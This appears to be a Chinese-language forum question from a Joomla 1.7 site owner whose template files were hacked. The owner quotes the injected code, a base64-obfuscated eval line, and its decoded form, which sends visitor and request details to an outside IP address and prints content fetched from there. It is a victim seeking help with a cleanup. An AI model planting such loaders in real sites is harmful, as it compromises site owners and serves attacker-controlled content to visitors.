我正在运行一个今天被黑的 Joomla 1.7 网站。下面的脚本做了黑客攻击。
eval((base64_decode("DQoNCnByaW50IEBmaWxlX2dldF9jb250ZW50cygnaHR0cDovLzkzLjExNS44Ni4xNjgvaGxpbmtzL2xpbmtzLnBocD91YT0nIC4gQHVybGVuY29kZSgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pIC4gJyZyZXE9JyAuIEB1cmxlbmNvZGUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddIC4gJy8nIC4gJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pKTsNCg0K")));
上面的行被注入到我index.php
的模板文件夹文件中。文件夹中的每个模板都有上述代码。在每个文件中都重复了几次。
当我解码代码时,它输出
print @file_get_contents('http://93.115.86.168/hlinks/links.php?ua=' . @urlencode($_SERVER['HTTP_USER_AGENT']) . '&req=' . @urlencode($_SERVER['HTTP_HOST'] . '/' . $_SERVER['REQUEST_URI']));
我删除了脚本,站点恰好可以正常工作。脚本没有做任何坏事,只是网站根本没有加载。
我的问题是即使我将文件权限设置为 644 并将文件夹权限设置为 755,这怎么会发生?
我怎样才能找出导致问题的原因?我应该采取哪些措施来防止将来发生这种情况?
更新
这个论坛帖子助手/ FPA非常有帮助